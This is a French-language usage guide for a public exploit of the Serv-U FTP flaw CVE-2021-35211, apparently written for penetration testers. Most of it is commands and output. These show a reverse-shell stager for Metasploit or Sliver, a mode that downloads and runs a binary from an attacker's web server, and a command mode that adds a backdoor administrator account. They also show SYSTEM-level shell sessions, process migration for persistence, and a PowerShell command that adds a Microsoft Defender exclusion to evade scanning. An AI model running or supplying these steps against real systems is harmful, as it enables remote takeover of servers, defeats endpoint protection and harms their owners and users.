
Serv-U-FTP CVE-2021-35211 exploit
L'exploit ne fonctionne pas à chaque fois, mais il fonctionne assez pour exécuter du shellcode environ 1 fois sur 5 ou 6 tentatives. Cependant, un échec peut parfois planter le serveur Serv-U. Assurez-vous que vos règles d'engagement permettent le risque de perte ou de dégradation du service. Les symptômes observés lors des tests incluent :
Caveat emptor.
Les versions sont importantes. Cet exploit utilise des adresses ROP codées en dur valides uniquement pour Serv-U version 15.2.3.717. Nous pouvons peut-être ajouter d'autres versions, demandez-nous si vous en avez besoin pour fonctionner avec différentes versions de Serv-U ou Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Il prend les arguments suivants :
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Il y a trois modes (ou charges utiles) que vous pouvez exécuter lors d'une attaque réussie :
stageexecdownloadexecEn cas d'exploit réussi, exécute un stager de shellcode compatible Metasploit/Sliver. C'est la moins fiable de toutes les charges utiles ; envisagez plutôt downloadexec. Exécutez-le ainsi :
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost et stagePort pointeront vers un gestionnaire d'écoute sur votre machine Sliver/Metasploit. Vous pouvez choisir la charge utile que vous souhaitez, mais j'ai constaté que la seule qui fonctionne de manière fiable est windows/x64/shell/reverse_tcp. C'est dommage car ce n'est pas un shell chiffré et vous devrez vérifier vos règles d'engagement avant de lancer une telle chose.
Encore une fois, caveat emptor.
Configurez-le dans Metasploit sur votre machine Kali comme ceci :
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Exécutez ensuite l'exploit :
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
De retour sur la machine Kali, vous devriez voir la requête de stage et le shell de commande démarrer :
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
Le support de Sliver dans la charge utile du stager est hautement expérimental et fonctionne rarement. S'il fonctionne, vous verrez normalement les sessions démarrer et mourir immédiatement. Mais si vous obtenez une session qui ne se termine pas immédiatement, vous pouvez prendre des mesures pour maintenir votre accès Sliver en migrant vers un autre processus.
Sur votre serveur Sliver, exécutez la commande stage-listener pour configurer votre écouteur. Consultez la documentation Sliver pour plus de détails sur le staging :
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Exécutez l'exploit en mode stage :
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Si l'exploit fonctionne (et il fonctionne très rarement avec les charges utiles Sliver ou Meterpreter), vous verrez quelque chose comme ceci (et oui, Sliver a trouvé tout seul ce nom de charge utile !) :
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
La première chose à faire est de migrer vers un autre processus car il y a de fortes chances que votre session Sliver meure et ne revienne pas, et je ne connais pas la cause racine au moment de la rédaction.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
À ce stade, vous devriez avoir une session Sliver solide, immunisée contre les aléas de Serv-U et de cet exploit.
Le mode le plus fiable et le moins susceptible d'être détecté par la sécurité des points de terminaison Microsoft Defender. Cela est dû au fait qu'il utilise une commande Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") pour ajouter une exclusion de répertoire à Microsoft Defender afin que les binaires Sliver/Meterpreter/autres ne soient pas analysés pour les logiciels malveillants. Cela vous protégera contre Windows Defender, mais c'est tout ; vous devrez prendre en compte les autres technologies de sécurité des points de terminaison, les IDS réseau, etc.
En cas de succès, télécharge un binaire depuis une URL et l'exécute. Vous aurez besoin d'un serveur web hébergeant votre fichier exécutable. J'ai utilisé Python, mais veuillez noter que je teste sur un réseau local sans SSL. Dans de véritables exploits, vous devrez vérifier vos règles d'engagement si vous souhaitez utiliser des URL non chiffrées.
Ce n'est pas la première fois : caveat emptor.
Exécutez un simple écouteur HTTP comme ceci :
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Avec l'écouteur en cours d'exécution, vous pouvez lancer l'exploit :
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Vous devriez voir quelque chose comme ceci dans votre écouteur :
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
La cible exécutera calc.exe et redémarrera le service Serv-U pour permettre aux utilisateurs de se reconnecter. Notez que l'exécutable n'affichera pas de fenêtre, mais si vous exécutez cet exemple, vous devriez voir wincalc.exe dans le Gestionnaire des tâches.
En cas de succès, exécute une commande sur la cible. Exécutez-le ainsi :
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Cet exploit a tendance à planter le processus distant, malheureusement. Généralement, il redémarre et j'essaie de voir si je peux le rendre plus stable, mais en attendant, n'oubliez pas : vérifiez vos règles d'engagement et caveat emptor.